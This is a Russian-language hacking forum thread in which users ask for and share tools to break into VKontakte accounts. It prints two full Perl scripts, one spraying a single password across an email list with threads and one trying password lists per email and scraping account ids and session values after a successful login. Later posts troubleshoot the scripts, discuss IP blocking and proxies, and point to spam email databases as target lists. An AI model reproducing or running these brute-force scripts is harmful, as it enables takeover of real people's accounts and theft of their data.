Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)

- - VK bruteforce (https://forum.antichat.xyz/showthread.php?t=71733)

Помогите найти нормальный брутер по списку мыл и паролей.

есть вот такой но он почемуто выдает ошибку (

Цитата:

#! /usr/bin/perl
use IO::Socket;
use threads;
use threads::shared;

$threads = shift || 5 ; #Кол-во потоков
$pass = shift || 'pass' ; #pwd
$fname = 'good.txt' ; #Валидные
$ml = shift || 'emails.txt' ; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time = time;
$start = localtime;
print "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = new IO::Socket::INET
(
PeerAddr => 'vkontakte.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 20
) or die "Can't connect\n";

my $data = "email=$acc&pass=$pass";
my $len = length($data);
my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
"Connection: keep-alive\nReferer: http://vkontakte.ru\n".
"Content-Type: application/x-www-form-urlencoded\n".
"Content-Length: $len\n\n$data";

print $sock $re;
sysread ($sock, my $answ, 800);

if($answ =~ /\S{32}/)
{
{lock($total); $total++;}
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
print FILE "$acc : $pass\n";
close(FILE);
}
{lock($i);$i++;}
$percent = ($i/$size)*100;
progress();

}

}

$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
}

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
}
chomp @mas;
return @mas;
}

ошибку напиши
этим скриптом я сам пользуюсь и он отлично работает

http://forum.antichat.ru/showthread.php?t=69838
вот еще какой-то, или он же

PHP код:


		
			
#! /usr/bin/perl -w

use strict;

use HTTP::Request::Common;

use LWP::UserAgent;

use HTTP::Cookies;



#Список email

my $ml = 'emails.txt'; 

#Сбрученные аккаунты

my $fname = 'good.txt'; 

#Несбрученные аккаунты

my $fname1 = 'bad.txt'; 

#список паролей

my $psw = 'pass.txt'; 

my $control = '-1';

my %example;

my (@data, @data1);





printf "Starting...\n";







sub submit_query {

    my ($file, %query) = @_;

    my $user_agent = LWP::UserAgent->new();

    my $cookies = HTTP::Cookies->new;

    my $cookie_jar = HTTP::Cookies->new(

    file => 'cookies.dat',

    autosave => 1, );

    $user_agent->cookie_jar($cookie_jar);

    ################################################################

    $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);

    ################################################################



    my $request = POST

    $file,

    [%query];

    

    ################################################################

    my $response = $user_agent->request($request);

    my $res = $response->as_string;

    ################################################################    

    

    if($res =~/<div id='error'>/ )

                        {

                        print FILE1 "[!]Wrong password: ";

                        $control = '0';

        

                        }

                    else

                        {

                        

                            my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");

                            my $response2 = $user_agent->request($req);

                            my $res2 = $response2->as_string;

                            

                            if($res2 =~/id="percent">(.*)%</)

                            {

                            print FILE "[rate=$1]";

                            }

                            if($res2 =~/percentGold">(.*)</)

                            {

                            print FILE "[gold_rate=$1]";

                            }

                            $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");

                            $response2 = $user_agent->request($req);

                            $res2 = $response2->as_string;

                            if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}

                            if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}

                            

                            $control = '1';

                            

                        }

                        

            }





    open(DAT, $ml) || die("Could not open emails file!");

    @data=<DAT>;

    close(DAT);

    

    open(DAT1, $psw) || die("Could not open passwords file!");

    @data1=<DAT1>;

    close(DAT1);

    



my $time = time; 

my $start = localtime;

printf "Vkontakte brutforoce\n";

printf "Started at $start\n";



foreach my $mail (@data)

{

chomp($mail);

foreach my $password (@data1)

        {

        chomp($password);

        %example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);



        open(FILE, ">>$fname") || die("Could not open $fname\n");

        open(FILE1, ">>$fname1") || die("Could not open $fname1\n");

        submit_query("http://vkontakte.ru/login.php", %example);

        

            if ($control == '1')    

                {

                print FILE "$mail : $password\n";

                }

            else

                {

                print FILE1 "$mail : $password\n";

                }

            

        close FILE;

        close FILE1;

        }

}

$time = time-$time;

my $end = localtime;

printf "Completed at $end\n";

printf "Time Elapsed: $time sec\n";

по мне этот получше будет.
по спискку мыл чекает пароль\пароли

Use of uninitialized value in concatenation (.) or string at brut2.pl line 76, <
ACS> line 1.

попробуй #! /usr/bin/perl -w

и так и так
проверяю валидные акки даже в гоод не заносит

PHP код:


		
			
#! /usr/bin/perl -w

use IO::Socket;

use threads;

use threads::shared;



$threads =  shift || 5                ; #Кол-во потоков

$pass    =  shift || 'pass'         ; #pwd

$fname   = 'good.txt'               ; #Валидные

$ml      =  shift || 'mails.txt'    ; #Список мыл



my @acc : shared;

my $i : shared;

my $total : shared;

$| =1;



print "Loading...\n";



open (ACS, "<$ml") || die("Could not open mail list file!");

@acc = acc();



$size = scalar @acc;

$time      = time; 

$start      = localtime;

print  "Loaded: ",$size," emails.\n";

printf "Started at $start\n";



for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}

for(@trl) { $_->join; }



sub Brut

{

    while(@acc)

    {    

        {lock(@acc);$acc = shift @acc;}

        my $sock = new IO::Socket::INET 

        (

        PeerAddr => 'vkontakte.ru',

           PeerPort => 80, 

           PeerProto => 'tcp', 

           TimeOut => 20

        ) or die "Can't connect\n";

        

        my $data = "email=$acc&pass=$pass";

        my $len = length($data);

        my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".

         "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".

         "Connection: keep-alive\nReferer: http://vkontakte.ru\n".

         "Content-Type: application/x-www-form-urlencoded\n".

         "Content-Length: $len\n\n$data";

        

        print $sock $re; 

        sysread ($sock, my $answ, 800);

        

        if($answ =~ /\S{32}/)

            {

                {lock($total); $total++;}

                print "[+] $acc\n";

                open(FILE, ">>$fname") || die("Could not open $fname\n");

                print FILE "$acc : $pass\n";

                close(FILE);

            }

        {lock($i);$i++;}

        $percent = ($i/$size)*100;

        progress();



    }

            

        

}





$time = time-$time;

$end = localtime;

printf "Finished at $end\n";

printf "Time elapsed: $time sec\n";

printf "Finded: $total \n";



sub progress{



print "|";

$percent = sprintf("%.2f", $percent);

print "< $percent% > complete";

print "\r";

    }



sub acc

{

    my (@mas);

    while (<ACS>){

    push @mas, $_;

    }

    chomp @mas;

    return @mas;

}



#(c)Kaimi

только что проверил все норм скопируй и попробуй

всеравно в гуд не пишет ничего.ошибка пропала когда ключ -w убрал
но в гуды не пишет сцуко (
даже перл новвый качнул спецон

А мне у гут пишет весь список мыл которые я бручу и пасс пишет который я поставил но все инвалид,почему так?

Ребят, есть брутер рабочий через прокси или на хосте!? А то вот этот у меня не работает - кто разбирается - помогите плиз! Ссылка

Это же от Kaimi! Он через прокси не поддерживает... Есть еще какие!?

Цитата:

Сообщение от AlexV

Это же от Kaimi! Он через прокси не поддерживает... Есть еще какие!?

Прокси и не нужны, ибо там отсутствует бан по IP(На самом вконтакте). :cool:

Ребят извините за глупый вопрос, как мне его запустить на серваке (firstvds.ru) ???

Цитата:

Прокси и не нужны, ибо там отсутствует бан по Ip(На самом вконтакте).

Нет, там то понятно! Мне нужно для себя - т.к. я подключен к нету через прокси сервер...

сорри не дочитал 2- страницу т ьупой ответ выдал.

хм мне кажется или на контакте теперь лочат ип?
брут после 4-5% встает

Цитата:

хм мне кажется или на контакте теперь лочат ип?

Скорей всего кажется - с чего ты взял!?

P.s. И все же есть брутер работающий через прокси - очень надо!

Обновленый билд брутера на C#

Ещё один, столько клонов и все для контакта.Если пишут значит это комуто нужно
http://img162.imageshack.us/img162/4711/64569307rt7.jpg

скачать

Какой лутше вібрать хостинг для брута!!!

Што за ошыбку выкидывает брутер:

Код:

Warning: Unexpected character in input: '' (ASCII=15) state=1 in /usr/local/bin/php on line 5103



Parse error: parse error, unexpected '*' in /usr/local/bin/php on line 5103

sasha008, ээ... а почему он тебе выдает ошибку пхп?? это перловский скрипт и расширение он должен иметь не *.php, а *.pl и посмотри поддерживает ли твой хостинг Perl-скрипты. Если нет то ищи другой хостинг

Какой посоветуете выбрать хост?

Цитата:

Сообщение от svesve

хм мне кажется или на контакте теперь лочат ип?
брут после 4-5% встает

теперь лочат

Цитата:

Сообщение от sasha008

Какой посоветуете выбрать хост?

localhost ;)

Цитата:

Сообщение от c0rp$e

localhost ;)

не смешно!!!

а откуда доставать мылы юзеров вконтакте?

Цитата:

Сообщение от ZloY_MakcNM

а откуда доставать мылы юзеров вконтакте?

в паблике полно спам баз мыл

Цитата:

Сообщение от ZloY_MakcNM

а откуда доставать мылы юзеров вконтакте?

Спросить лично у каждого)